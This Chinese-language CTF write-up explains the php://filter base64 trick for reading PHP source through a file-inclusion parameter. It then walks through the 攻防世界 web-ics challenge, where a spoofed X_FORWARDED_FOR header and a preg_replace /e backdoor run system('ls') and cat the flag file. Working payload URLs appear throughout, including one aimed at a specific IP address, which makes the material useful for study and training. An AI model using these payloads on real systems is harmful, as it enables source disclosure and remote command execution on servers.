php://filter(文件包含漏洞利用)

“网址+/index.php?page=php://filter/convert.base64-encode/resource=index.php“

例如:
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

首先这是一个file关键字的get参数传递,
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=index.php表示目标文件为index.php。

扩展:
"php://filter"是一种原封装器,设计用于数据流打开时的筛选过滤应用。

这对以一体式(all-in-one)文件函数非常有用,类似readfile(),file(),file_get_contens(),在数据流内容读去之前没有机会应用其他过滤器。

“php://filter”目标使用以下的参数作为它路径的一部分,复合过滤链能够在一个路径上指定.

php://filter(文件包含漏洞利用)_第1张图片

攻防世界web-ics
题目描述:
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

打开题目链接查看,题目中除了设备维护中心有一些提示,查看源代码也没有啥收获,,不过比赛的时候会有相关提示,现在我还太菜了,没办法解释为啥这道题是文件包含漏洞
于是我们就利用文件包含漏洞的解题思路:

“/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php”

查看题目的文件协议(php://filter),接着是以base64编码(read=convert.base64-encode),目标文件为“index.php”(index.php),接着题目就会变成base64编码:
php://filter(文件包含漏洞利用)_第2张图片
接着把base64编码在线解码,获取到index.php的源码,在121行可以发现后门:

php://filter(文件包含漏洞利用)_第3张图片函数的三个重要参数:

语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

$count: 可选,为替换执行的次数。

3.对此段代码进行审计,可以发现需要将X_FORWARDED_FOR设置为127.0.0.1,并且用get方式传递三个参数传递给preg_replace函数。
4.使用burp修改http请求头参数,添加X_FORWARDED_FOR,将url设置为

/index.php?pat=/(.*)/e&rep=system(‘ls’)&sub=aa 可以查看文件列表,如图所示。
php://filter(文件包含漏洞利用)_第4张图片php://filter(文件包含漏洞利用)_第5张图片

然后在一个文件一个文件的找

5.将url设置为 /index.php?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir’)&sub=aa 查看s3chahahaDir文件夹,发现flag文件夹。

6.将url设置为 /index.php?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=aa 查看flag文件夹,发现flag.php文件。

7.将url设置为 /index.php?pat=/(.*)/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=aa 查看flag,如图所示。

php://filter(文件包含漏洞利用)_第6张图片
php://filter(文件包含漏洞利用)_第7张图片

你可能感兴趣的:(做题)